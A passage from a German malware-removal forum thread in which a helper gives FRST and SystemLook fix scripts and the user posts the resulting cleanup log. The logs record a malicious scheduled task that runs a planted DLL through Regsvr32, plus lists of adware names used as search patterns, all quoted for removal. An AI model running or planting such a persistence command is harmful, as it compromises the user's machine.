Error: (06/03/2017 12:07:43 AM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Der Dienst "Windows Installer" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 120000 Millisekunden durchgeführt: Neustart des Diensts.

Error: (06/03/2017 12:07:43 AM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: Der Dienst "NetAdapter Service" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 60000 Millisekunden durchgeführt: Neustart des Diensts.


CodeIntegrity:
===================================
  Date: 2017-05-30 23:03:42.362
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Windows\System32\DriverStore\FileRepository\nvcv.inf_amd64_9f104199581b6aa2\nvinitx.dll that did not meet the Custom 3 / Antimalware signing level requirements.


==================== Speicherinformationen ===========================

Prozessor: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
Prozentuale Nutzung des RAM: 18%
Installierter physikalischer RAM: 16270.29 MB
Verfügbarer physikalischer RAM: 13179.57 MB
Summe virtueller Speicher: 19214.29 MB
Verfügbarer virtueller Speicher: 16131.36 MB

==================== Laufwerke ================================

Drive c: (System) (Fixed) (Total:227.51 GB) (Free:184.27 GB) NTFS
Drive d: (Daten) (Fixed) (Total:931.51 GB) (Free:791.71 GB) NTFS

==================== MBR & Partitionstabelle ==================

========================================================
Disk: 0 (Size: 232.9 GB) (Disk ID: 68A7658E)

Partition: GPT.

========================================================
Disk: 1 (Size: 931.5 GB) (Disk ID: 68A76683)

Partition: GPT.

==================== Ende von Addition.txt ============================

M-K-D-B 03.06.2017 10:01
Servus,



da ist ja jede Menge Adware auf deinem PC. :)

Die Logdatei von Schritt 2 (SystemLook) könnte sehr groß ausfallen, ggf. bitte in ein .zip Archiv packen (zippen) und als Anhang beifügen.




Du hast deinen richtigen Benutzernamen mit **** unkenntlich gemacht, daher musst du für den folgenden Fix diese **** selbst durch den richtigen Benutzernamen ersetzen, sonst wird der folgende Fix mit FRST nicht funktionieren!


Schritt 1
  • Kopiere den Inhalt der folgenden Code-Box:
    Code:
    Start::
    CloseProcesses:
    ShellIconOverlayIdentifiers: [JzShlobj] -> {9A0700D2-920A-4E52-8697-9B5230C92612} =>  -> Keine Datei
    CHR HKLM\SOFTWARE\Policies\Google: Beschränkung <======= ACHTUNG
    FF user.js: detected! => C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\user.js [2017-06-02]
    2017-06-02 17:06 - 2017-06-02 17:06 - 00004180 _____ C:\windows\System32\Tasks\{C827D984-7F8C-6E2F-8647-4EA9645C1CC9}
    2017-06-02 17:06 - 2017-06-02 17:06 - 00003880 _____ C:\windows\System32\Tasks\{BF718E62-62DC-45A4-6528-9B2B61757352}
    2017-06-02 17:06 - 2017-06-02 17:06 - 00000000 ____H C:\windows\system32\BIT2B7.tmp
    2017-06-02 17:05 - 2017-06-02 17:05 - 00003764 _____ C:\windows\System32\Tasks\updater
    2017-06-02 17:05 - 2017-06-02 17:05 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\极速压缩
    2017-06-02 17:05 - 2017-06-02 17:05 - 00000000 ____D C:\Program Files (x86)\Maoha
    2017-06-02 17:05 - 2017-06-02 17:05 - 00000000 ____D C:\Program Files (x86)\Ferbis
    2017-06-02 17:04 - 2017-06-03 00:24 - 00000000 ____D C:\Users\****\AppData\Roaming\Reerkucultprifery
    2017-06-02 17:04 - 2017-06-03 00:10 - 00000008 __RSH C:\ProgramData\ntuser.pol
    2017-06-02 17:04 - 2017-06-03 00:02 - 00000147 _____ C:\ServiceLog.txt
    2017-06-02 17:04 - 2017-06-02 17:04 - 00140800 _____ C:\Users\****\AppData\Local\installer.dat
    2017-06-02 17:04 - 2017-06-02 17:04 - 00011568 _____ C:\Users\****\AppData\Local\InstallationConfiguration.xml
    2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\windows\system32\sstmp
    2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Users\****\AppData\Roaming\uTorrent
    2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Users\****\AppData\Local\Atokuther
    2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Program Files\Common Files\FNDP6U
    2017-06-01 11:31 - 2017-06-01 11:31 - 01105408 _____ C:\windows\eb40a68307d6d6774101e0cc417db863.exe
    2017-06-01 11:31 - 2017-06-01 11:31 - 00051644 _____ C:\windows\uninstaller.dat
    Task: {04449EC3-FDDC-4753-8716-3A8F0E256BF8} - System32\Tasks\{C827D984-7F8C-6E2F-8647-4EA9645C1CC9} => C:\ProgramData\{6820C702-DF8B-70A9-0EEB-609B7D7FF099}\C7A468EE-700F-DF45-D7C1-660944E77E98.exe  <==== ACHTUNG
    C:\ProgramData\{6820C702-DF8B-70A9-0EEB-609B7D7FF099}
    Task: {238AEADB-2753-4340-8BA8-5931247C4ECC} - \Microsoft\Windows\DeviceSettings\Holsychodush -> Keine Datei <==== ACHTUNG
    Task: {7C5F547D-0F21-47A0-BA16-407374E5B362} - System32\Tasks\updater => C:\Program Files (x86)\devnull\NetAdapterUpdate\updater.exe
    C:\Program Files (x86)\devnull
    Task: {EFBCCF79-379D-4EE5-A35C-38F7F7E527CB} - System32\Tasks\{BF718E62-62DC-45A4-6528-9B2B61757352} => Regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\2dfe3513\27a038f3.dll" <==== ACHTUNG
    C:\PROGRAM FILES (X86)\CKADOLEATGY NODIFIER
    C:\PROGRAM FILES (X86)\MAOHA
    C:\PROGRAM FILES\INTERNET EXPLORER\056X34297Y
    C:\PROGRAM FILES (X86)\MTGPSFMYZE
    Unlock: C:\windows\system32\Drivers\etc\hosts
    C:\windows\system32\Drivers\etc\hosts
    CMD: dir "%ProgramFiles%"
    CMD: dir "%ProgramFiles(x86)%"
    CMD: dir "%ProgramData%"
    CMD: dir "%Appdata%"
    CMD: dir "%LocalAppdata%"
    CMD: dir "%CommonProgramFiles(x86)%"
    CMD: dir "%CommonProgramW6432%"
    CMD: dir "%UserProfile%"
    CMD: dir "C:\"
    Hosts:
    RemoveProxy:
    CMD: ipconfig /flushdns
    CMD: netsh winsock reset
    EmptyTemp:
    End::
  • Starte nun FRST und klicke den Entfernen Button.
  • Das Tool führt die gewünschten Schritte aus und erstellt eine fixlog.txt im selben Verzeichnis, in dem sich die FRST/FRST64.exe befindet.
  • Gegebenenfalls muss dein Rechner dafür neu gestartet werden.
  • Poste mir den Inhalt der fixlog.txt mit deiner nächsten Antwort.





Schritt 2
Lade dir die passende Version von SystemLook vom folgenden Spiegel herunter und speichere das Tool auf dem Desktop:
SystemLook (32 bit) | SystemLook (64 bit)
  • Doppelklicke auf die SystemLook.exe, um das Tool zu starten.
  • Kopiere den Inhalt der folgenden Codebox in das Textfeld des Tools:

    Code:
    :filefind
    *AppTrailers*
    *AdvinstAnalytics*
    *PC Clean Plus*
    *gplyra*
    *System Healer*
    *HDWallPaper*
    *Interstatnogui*
    *devnull*
    *Noobzo*
    *YeaDesktop*
    *VideoMemoryDiagnostic*
    *ProxyGate*
    *pccleanplus*
    *Maoha*
    *SystemHealer*
    *DownloadProtect*
    *DPBHO*
    *WajIEnhance*
    *SwytShop*
    *JiSuZip*
    *jhdbca*
    *SearchModule*
    *OtherSearch*
    *initialpage123*
    *Soci2Sear*
    *pchandller*
    *CKADOLEATGY NODIFIER*
    *REERKUCULTPRIFERY*
    *Ckadoleatgy Nodifier*

    :folderfind
    *AppTrailers*
    *AdvinstAnalytics*
    *PC Clean Plus*
    *gplyra*
    *System Healer*
    *HDWallPaper*
    *Interstatnogui*
    *devnull*
    *Noobzo*
    *YeaDesktop*
    *VideoMemoryDiagnostic*
    *ProxyGate*
    *pccleanplus*
    *Maoha*
    *SystemHealer*
    *DownloadProtect*
    *DPBHO*
    *WajIEnhance*
    *SwytShop*
    *JiSuZip*
    *jhdbca*
    *SearchModule*
    *OtherSearch*
    *initialpage123*
    *Soci2Sear*
    *pchandller*
    *CKADOLEATGY NODIFIER*
    *REERKUCULTPRIFERY*
    *Ckadoleatgy Nodifier*

    :regfind
    AppTrailers
    AdvinstAnalytics
    PC Clean Plus
    gplyra
    System Healer
    HDWallPaper
    Interstatnogui
    devnull
    Noobzo
    YeaDesktop
    VideoMemoryDiagnostic
    ProxyGate
    pccleanplus
    Maoha
    SystemHealer
    DownloadProtect
    DPBHO
    WajIEnhance
    SwytShop
    JiSuZip
    jhdbca
    SearchModule
    OtherSearch
    initialpage123
    Soci2Sear
    pchandller
    CKADOLEATGY NODIFIER
    REERKUCULTPRIFERY
    Ckadoleatgy Nodifier
  • Klicke nun auf den Button Look, um den Scan zu starten.
  • Der Suchlauf kann einige Zeit dauern.
  • Wenn der Suchlauf beendet ist, wird sich dein Editor mit den Ergebnissen öffnen, poste diese in deinen Thread.
  • Die Ergebnisse werden auch auf dem Desktop als SystemLook.txt gespeichert.







Schritt 3
  • Starte die FRST.exe erneut. Vergewissere dich, dass vor Addition.txt ein Haken gesetzt ist und drücke auf Untersuchen.
  • FRST erstellt wieder zwei Logdateien (FRST.txt und Addition.txt).
  • Poste mir beide Logdateien mit deiner nächsten Antwort.






Bitte poste mit deiner nächsten Antwort
  • die Logdatei des FRST-Fix,
  • die Logdatei von SystemLook,
  • die beiden neuen Logdateien von FRST (FRST.txt und Addition.txt).

Twix. 03.06.2017 15:43
fixlog:
Code:
Geladene Profile: **** (Verfügbare Profile: ****)
Start-Modus: Normal
==============================================

fixlist Inhalt:
*****************

CloseProcesses:
ShellIconOverlayIdentifiers: [JzShlobj] -> {9A0700D2-920A-4E52-8697-9B5230C92612} =>  -> Keine Datei
CHR HKLM\SOFTWARE\Policies\Google: Beschränkung <======= ACHTUNG
FF user.js: detected! => C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\user.js [2017-06-02]
2017-06-02 17:06 - 2017-06-02 17:06 - 00004180 _____ C:\windows\System32\Tasks\{C827D984-7F8C-6E2F-8647-4EA9645C1CC9}
2017-06-02 17:06 - 2017-06-02 17:06 - 00003880 _____ C:\windows\System32\Tasks\{BF718E62-62DC-45A4-6528-9B2B61757352}
2017-06-02 17:06 - 2017-06-02 17:06 - 00000000 ____H C:\windows\system32\BIT2B7.tmp
2017-06-02 17:05 - 2017-06-02 17:05 - 00003764 _____ C:\windows\System32\Tasks\updater
2017-06-02 17:05 - 2017-06-02 17:05 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\极速压缩
2017-06-02 17:05 - 2017-06-02 17:05 - 00000000 ____D C:\Program Files (x86)\Maoha
2017-06-02 17:05 - 2017-06-02 17:05 - 00000000 ____D C:\Program Files (x86)\Ferbis
2017-06-02 17:04 - 2017-06-03 00:24 - 00000000 ____D C:\Users\****\AppData\Roaming\Reerkucultprifery
2017-06-02 17:04 - 2017-06-03 00:10 - 00000008 __RSH C:\ProgramData\ntuser.pol
2017-06-02 17:04 - 2017-06-03 00:02 - 00000147 _____ C:\ServiceLog.txt
2017-06-02 17:04 - 2017-06-02 17:04 - 00140800 _____ C:\Users\****\AppData\Local\installer.dat
2017-06-02 17:04 - 2017-06-02 17:04 - 00011568 _____ C:\Users\****\AppData\Local\InstallationConfiguration.xml
2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\windows\system32\sstmp
2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Users\****\AppData\Roaming\uTorrent
2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Users\****\AppData\Local\Atokuther
2017-06-02 17:04 - 2017-06-02 17:04 - 00000000 ____D C:\Program Files\Common Files\FNDP6U
2017-06-01 11:31 - 2017-06-01 11:31 - 01105408 _____ C:\windows\eb40a68307d6d6774101e0cc417db863.exe
2017-06-01 11:31 - 2017-06-01 11:31 - 00051644 _____ C:\windows\uninstaller.dat
Task: {04449EC3-FDDC-4753-8716-3A8F0E256BF8} - System32\Tasks\{C827D984-7F8C-6E2F-8647-4EA9645C1CC9} => C:\ProgramData\{6820C702-DF8B-70A9-0EEB-609B7D7FF099}\C7A468EE-700F-DF45-D7C1-660944E77E98.exe  <==== ACHTUNG
C:\ProgramData\{6820C702-DF8B-70A9-0EEB-609B7D7FF099}
Task: {238AEADB-2753-4340-8BA8-5931247C4ECC} - \Microsoft\Windows\DeviceSettings\Holsychodush -> Keine Datei <==== ACHTUNG
Task: {7C5F547D-0F21-47A0-BA16-407374E5B362} - System32\Tasks\updater => C:\Program Files (x86)\devnull\NetAdapterUpdate\updater.exe
C:\Program Files (x86)\devnull
Task: {EFBCCF79-379D-4EE5-A35C-38F7F7E527CB} - System32\Tasks\{BF718E62-62DC-45A4-6528-9B2B61757352} => Regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\2dfe3513\27a038f3.dll" <==== ACHTUNG
C:\PROGRAM FILES (X86)\CKADOLEATGY NODIFIER
C:\PROGRAM FILES (X86)\MAOHA
C:\PROGRAM FILES\INTERNET EXPLORER\056X34297Y
C:\PROGRAM FILES (X86)\MTGPSFMYZE
Unlock: C:\windows\system32\Drivers\etc\hosts
C:\windows\system32\Drivers\etc\hosts
CMD: dir "%ProgramFiles%"
CMD: dir "%ProgramFiles(x86)%"
CMD: dir "%ProgramData%"
CMD: dir "%Appdata%"
CMD: dir "%LocalAppdata%"
CMD: dir "%CommonProgramFiles(x86)%"
CMD: dir "%CommonProgramW6432%"
CMD: dir "%UserProfile%"
CMD: dir "C:\"
Hosts:
RemoveProxy:
CMD: ipconfig /flushdns
CMD: netsh winsock reset
EmptyTemp:

*****************

Prozesse erfolgreich geschlossen.
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\JzShlobj => Schlüssel erfolgreich entfernt
HKCR\CLSID\{9A0700D2-920A-4E52-8697-9B5230C92612} => Schlüssel nicht gefunden.
HKLM\SOFTWARE\Policies\Google => Schlüssel erfolgreich entfernt
C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\user.js => nicht gefunden.
C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\user.js => nicht gefunden.
C:\windows\System32\Tasks\{C827D984-7F8C-6E2F-8647-4EA9645C1CC9} => erfolgreich verschoben
C:\windows\System32\Tasks\{BF718E62-62DC-45A4-6528-9B2B61757352} => erfolgreich verschoben
"C:\windows\system32\BIT2B7.tmp" => nicht gefunden.
C:\windows\System32\Tasks\updater => erfolgreich verschoben
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\极速压缩 => erfolgreich verschoben
C:\Program Files (x86)\Maoha => erfolgreich verschoben
C:\Program Files (x86)\Ferbis => erfolgreich verschoben
"C:\Users\****\AppData\Roaming\Reerkucultprifery" => nicht gefunden.
C:\ProgramData\ntuser.pol => erfolgreich verschoben
C:\ServiceLog.txt => erfolgreich verschoben
"C:\Users\****\AppData\Local\installer.dat" => nicht gefunden.
"C:\Users\****\AppData\Local\InstallationConfiguration.xml" => nicht gefunden.
C:\windows\system32\sstmp => erfolgreich verschoben
"C:\Users\****\AppData\Roaming\uTorrent" => nicht gefunden.
"C:\Users\****\AppData\Local\Atokuther" => nicht gefunden.
C:\Program Files\Common Files\FNDP6U => erfolgreich verschoben
C:\windows\eb40a68307d6d6774101e0cc417db863.exe => erfolgreich verschoben
C:\windows\uninstaller.dat => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{04449EC3-FDDC-4753-8716-3A8F0E256BF8} => Schlüssel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{04449EC3-FDDC-4753-8716-3A8F0E256BF8} => Schlüssel erfolgreich entfernt
C:\windows\System32\Tasks\{C827D984-7F8C-6E2F-8647-4EA9645C1CC9} => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{C827D984-7F8C-6E2F-8647-4EA9645C1CC9} => Schlüssel erfolgreich entfernt
"C:\ProgramData\{6820C702-DF8B-70A9-0EEB-609B7D7FF099}" => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{238AEADB-2753-4340-8BA8-5931247C4ECC} => Schlüssel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{238AEADB-2753-4340-8BA8-5931247C4ECC} => Schlüssel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\DeviceSettings\Holsychodush => Schlüssel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{7C5F547D-0F21-47A0-BA16-407374E5B362} => Schlüssel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{7C5F547D-0F21-47A0-BA16-407374E5B362} => Schlüssel erfolgreich entfernt
C:\windows\System32\Tasks\updater => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\updater => Schlüssel erfolgreich entfernt
"C:\Program Files (x86)\devnull" => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{EFBCCF79-379D-4EE5-A35C-38F7F7E527CB} => Schlüssel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{EFBCCF79-379D-4EE5-A35C-38F7F7E527CB} => Schlüssel erfolgreich entfernt
C:\windows\System32\Tasks\{BF718E62-62DC-45A4-6528-9B2B61757352} => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{BF718E62-62DC-45A4-6528-9B2B61757352} => Schlüssel erfolgreich entfernt
"C:\PROGRAM FILES (X86)\CKADOLEATGY NODIFIER" => nicht gefunden.
"C:\PROGRAM FILES (X86)\MAOHA" => nicht gefunden.
C:\PROGRAM FILES\INTERNET EXPLORER\056X34297Y => erfolgreich verschoben
"C:\PROGRAM FILES (X86)\MTGPSFMYZE" => nicht gefunden.
"C:\windows\system32\Drivers\etc\hosts" => wurde entsperrt
C:\windows\system32\Drivers\etc\hosts => erfolgreich verschoben

========= dir "%ProgramFiles%" =========

 Datentr„ger in Laufwerk C: ist System
 Volumeseriennummer: CCCF-EDBA

 Verzeichnis von C:\Program Files

03.06.2017  00:24    <DIR>          .
03.06.2017  00:24    <DIR>          ..
30.05.2017  09:28    <DIR>          Classic Shell
03.06.2017  15:44    <DIR>          Common Files
12.05.2017  15:20    <DIR>          Insyde
12.05.2017  15:21    <DIR>          Intel
03.06.2017  15:44    <DIR>          Internet Explorer
03.06.2017  00:20    <DIR>          Malwarebytes
30.05.2017  09:39    <DIR>          Microsoft Office
11.04.2017  08:12    <DIR>          MSBuild
01.06.2017  22:05    <DIR>          NVIDIA Corporation
12.05.2017  15:15    <DIR>          Realtek
11.04.2017  08:12    <DIR>          Reference Assemblies
12.05.2017  15:18    <DIR>          Synaptics
30.05.2017  20:44    <DIR>          TeamSpeak 3 Client
30.05.2017  09:46    <DIR>          totalcmd
03.06.2017  00:52    <DIR>          Windows Defender
20.03.2017  06:35    <DIR>          Windows Mail
03.06.2017  00:51    <DIR>          Windows Media Player
18.03.2017  23:03    <DIR>          Windows Multimedia Platform
11.04.2017  08:05    <DIR>          Windows NT
03.06.2017  00:51    <DIR>          Windows Photo Viewer
18.03.2017  23:03    <DIR>          Windows Portable Devices
18.03.2017  23:03    <DIR>          Windows Security
18.03.2017  23:03    <DIR>          WindowsPowerShell
30.05.2017  20:42    <DIR>          WinRAR
              0 Datei(en),              0 Bytes
              26 Verzeichnis(se), 198.383.255.552 Bytes frei

========= Ende von CMD: =========


========= dir "%ProgramFiles(x86)%" =========

 Datentr„ger in Laufwerk C: ist System
 Volumeseriennummer: CCCF-EDBA

 Verzeichnis von C:\Program Files (x86)

03.06.2017  15:44    <DIR>          .
03.06.2017  15:44    <DIR>          ..
12.05.2017  15:21    <DIR>          AirplaneModeInstaller
30.05.2017  20:55    <DIR>          Common Files
12.05.2017  15:21    <DIR>          Creative
12.05.2017  15:19    <DIR>          Hotkey
12.05.2017  15:20    <DIR>          Intel
03.06.2017  00:51    <DIR>          Internet Explorer
30.05.2017  10:01    <DIR>          Microsoft
30.05.2017  10:01    <DIR>          Microsoft Office
30.05.2017  09:40    <DIR>          Microsoft Visual Studio
30.05.2017  09:41    <DIR>          Microsoft Works
30.05.2017  09:40    <DIR>          Microsoft.NET
03.06.2017  00:24    <DIR>          Mozilla Firefox
30.05.2017  09:32    <DIR>          Mozilla Maintenance Service
11.04.2017  08:12    <DIR>          MSBuild
01.06.2017  22:05    <DIR>          NVIDIA Corporation
30.05.2017  20:45    <DIR>          Overwolf
12.05.2017  15:18    <DIR>          Realtek
11.04.2017  08:12    <DIR>          Reference Assemblies
02.06.2017  16:28    <DIR>          TeamViewer
31.05.2017  20:08    <DIR>          VulkanRT
03.06.2017  00:51    <DIR>          Windows Defender
20.03.2017  06:35    <DIR>          Windows Mail
03.06.2017  00:51    <DIR>          Windows Media Player
18.03.2017  23:03    <DIR>          Windows Multimedia Platform
18.03.2017  23:03    <DIR>          Windows NT
03.06.2017  00:51    <DIR>          Windows Photo Viewer
18.03.2017  23:03    <DIR>          Windows Portable Devices
18.03.2017  23:03    <DIR>          WindowsPowerShell
              0 Datei(en),              0 Bytes
              30 Verzeichnis(se), 198.383.194.112 Bytes frei

========= Ende von CMD: =========


========= dir "%ProgramData%" =========

 Datentr„ger in Laufwerk C: ist System
 Volumeseriennummer: CCCF-EDBA

 Verzeichnis von C:\ProgramData

12.05.2017  15:21    <DIR>          Creative
12.05.2017  15:27    <DIR>          Intel
03.06.2017  00:20    <DIR>          Malwarebytes
30.05.2017  10:59    <DIR>          Microsoft Help
11.04.2017  08:08    <DIR>          Microsoft OneDrive
03.06.2017  15:44    <DIR>          NVIDIA
01.06.2017  22:05    <DIR>          NVIDIA Corporation
30.05.2017  20:45    <DIR>          Overwolf
31.05.2017  15:28    <DIR>          Package Cache
12.05.2017  15:10    <DIR>          regid.1991-06.com.microsoft
18.03.2017  23:03    <DIR>          SoftwareDistribution
11.04.2017  08:13    <DIR>          USOPrivate
11.04.2017  08:13    <DIR>          USOShared
20.03.2017  06:37    <DIR>          WindowsHolographicDevices
              0 Datei(en),              0 Bytes
              14 Verzeichnis(se), 198.383.140.864 Bytes frei

========= Ende von CMD: =========


========= dir "%Appdata%" =========

 Datentr„ger in Laufwerk C: ist System
 Volumeseriennummer: CCCF-EDBA

 Verzeichnis von C:\Users\Nela\AppData\Roaming

03.06.2017  00:07    <DIR>          .
03.06.2017  00:07    <DIR>          ..
29.05.2017  16:24    <DIR>          Adobe
30.05.2017  09:29    <DIR>          ClassicShell
30.05.2017  09:37    <DIR>          GHISLER
29.05.2017  16:26    <DIR>          Intel Corporation
31.05.2017  18:59    <DIR>          Mount&Blade Warband
30.05.2017  09:32    <DIR>          Mozilla
30.05.2017  21:23    <DIR>          NVIDIA
02.06.2017  17:05    <DIR>          Profiles
03.06.2017  00:24    <DIR>          Reerkucultprifery
02.06.2017  16:26    <DIR>          TeamViewer
03.06.2017  11:20    <DIR>          TS3Client
02.06.2017  17:04    <DIR>          uTorrent
30.05.2017  20:42    <DIR>          WinRAR
              0 Datei(en),              0 Bytes
              15 Verzeichnis(se), 198.382.952.448 Bytes frei

========= Ende von CMD: =========


========= dir "%LocalAppdata%" =========

 Datentr„ger in Laufwerk C: ist System
 Volumeseriennummer: CCCF-EDBA

 Verzeichnis von C:\Users\Nela\AppData\Local

03.06.2017  00:07    <DIR>          .
03.06.2017  00:07    <DIR>          ..
31.05.2017  15:30    <DIR>          Arktos Entertainment
02.06.2017  17:04    <DIR>          Atokuther
30.05.2017  20:57    <DIR>          CEF
31.05.2017  13:59    <DIR>          Chromium
03.06.2017  11:25    <DIR>          ClassicShell
29.05.2017  16:40    <DIR>          Comms
29.05.2017  16:24    <DIR>          ConnectedDevicesPlatform
02.06.2017  17:13    <DIR>          CrashDumps
31.05.2017  15:29    <DIR>          CrashRpt
30.05.2017  09:55    <DIR>          DBG
01.06.2017  20:50    <DIR>          ElevatedDiagnostics
31.05.2017  15:29    <DIR>          FredaikisAB
30.05.2017  09:37    <DIR>          GHISLER
02.06.2017  17:04            11.568 InstallationConfiguration.xml
02.06.2017  17:04          140.800 installer.dat
02.06.2017  17:04    <DIR>          Microsoft
30.05.2017  09:39    <DIR>          Microsoft Help
30.05.2017  09:31    <DIR>          MicrosoftEdge
30.05.2017  20:35    <DIR>          Mozilla
31.05.2017  14:02    <DIR>          NVIDIA
31.05.2017  14:04    <DIR>          NVIDIA Corporation
03.06.2017  15:42    <DIR>          Overwolf
30.05.2017  20:39    <DIR>          Packages
03.06.2017  00:24    <DIR>          Programs
29.05.2017  16:24    <DIR>          Publishers
30.05.2017  09:56                17 resmon.resmoncfg
30.05.2017  20:57    <DIR>          Steam
03.06.2017  15:42    <DIR>          Temp
29.05.2017  16:24    <DIR>          TileDataLayer
29.05.2017  16:24    <DIR>          VirtualStore
              3 Datei(en),        152.385 Bytes
              29 Verzeichnis(se), 198.382.923.776 Bytes frei

========= Ende von CMD: =========


========= dir "%CommonProgramFiles(x86)%" =========

 Datentr„ger in Laufwerk C: ist System
 Volumeseriennummer: CCCF-EDBA

 Verzeichnis von C:\Program Files (x86)\Common Files

30.05.2017  20:55    <DIR>          .
30.05.2017  20:55    <DIR>          ..
30.05.2017  09:54    <DIR>          DESIGNER
12.05.2017  15:20    <DIR>          InstallShield
12.05.2017  15:12    <DIR>          Intel
12.05.2017  15:21    <DIR>          Intel Corporation
30.05.2017  22:02    <DIR>          Microsoft Shared
30.05.2017  20:45    <DIR>          Overwolf
12.05.2017  15:20    <DIR>          PostureAgent
18.03.2017  23:03    <DIR>          Services
02.06.2017  16:42    <DIR>          Steam
03.06.2017  00:51    <DIR>          System
              0 Datei(en),              0 Bytes
              12 Verzeichnis(se), 198.383.001.600 Bytes frei

========= Ende von CMD: =========


========= dir "%CommonProgramW6432%" =========

 Datentr„ger in Laufwerk C: ist System
 Volumeseriennummer: CCCF-EDBA

 Verzeichnis von C:\Program Files\Common Files

03.06.2017  15:44    <DIR>          .
03.06.2017  15:44    <DIR>          ..
30.05.2017  22:02    <DIR>          microsoft shared
18.03.2017  23:03    <DIR>          Services
03.06.2017  00:51    <DIR>          System
              0 Datei(en),              0 Bytes
              5 Verzeichnis(se), 198.382.944.256 Bytes frei

========= Ende von CMD: =========


========= dir "%UserProfile%" =========

 Datentr„ger in Laufwerk C: ist System
 Volumeseriennummer: CCCF-EDBA

 Verzeichnis von C:\Users\Nela

02.06.2017  18:10    <DIR>          .
02.06.2017  18:10    <DIR>          ..
30.05.2017  20:45    <DIR>          .QtWebEngineProcess
30.05.2017  20:45    <DIR>          .TeamSpeak 3
30.05.2017  13:21    <DIR>          Contacts
03.06.2017  15:44    <DIR>          Desktop
31.05.2017  18:59    <DIR>          Documents
03.06.2017  00:19    <DIR>          Downloads
30.05.2017  13:21    <DIR>          Favorites
30.05.2017  13:21    <DIR>          Links
30.05.2017  13:21    <DIR>          Music
30.05.2017  09:48    <DIR>          OneDrive
30.05.2017  21:22    <DIR>          Pictures
30.05.2017  13:21    <DIR>          Saved Games
30.05.2017  13:21    <DIR>          Searches
03.06.2017  15:42    <DIR>          Videos
              0 Datei(en),              0 Bytes
              16 Verzeichnis(se), 198.382.903.296 Bytes frei

========= Ende von CMD: =========


========= dir "C:\" =========

 Datentr„ger in Laufwerk C: ist System
 Volumeseriennummer: CCCF-EDBA

 Verzeichnis von C:\

03.06.2017  00:42    <DIR>          AdwCleaner
02.06.2017  18:13    <DIR>          AppData
01.06.2017  19:56    <DIR>          Donads-Keybinder
30.01.2017  17:39    <DIR>          efi
03.06.2017  15:44    <DIR>          FRST
12.05.2017  15:15    <DIR>          Intel
02.06.2017  17:04    <DIR>          Microsoft
12.05.2017  15:23    <DIR>          MININT
18.03.2017  23:03    <DIR>          PerfLogs
03.06.2017  00:24    <DIR>          Program Files
03.06.2017  15:44    <DIR>          Program Files (x86)
29.05.2017  16:40    <DIR>          Users
03.06.2017  15:44    <DIR>          Windows
              0 Datei(en),              0 Bytes
              13 Verzeichnis(se), 198.382.886.912 Bytes frei

========= Ende von CMD: =========

Hosts erfolgreich wiederhergestellt.

========= RemoveProxy: =========

HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => Wert erfolgreich entfernt
HKU\S-1-5-21-743485210-3963512150-464095969-1003\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => Wert erfolgreich entfernt
HKU\S-1-5-21-743485210-3963512150-464095969-1003\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => Wert erfolgreich entfernt


========= Ende von RemoveProxy: =========


========= ipconfig /flushdns =========


Windows-IP-Konfiguration

Der DNS-Aufl”sungscache wurde geleert.

========= Ende von CMD: =========


========= netsh winsock reset =========


Der Winsock-Katalog wurde zurckgesetzt.
Sie mssen den Computer neu starten, um den Vorgang abzuschlieáen.


========= Ende von CMD: =========


=========== EmptyTemp: ==========

BITS transfer queue => 8151040 B
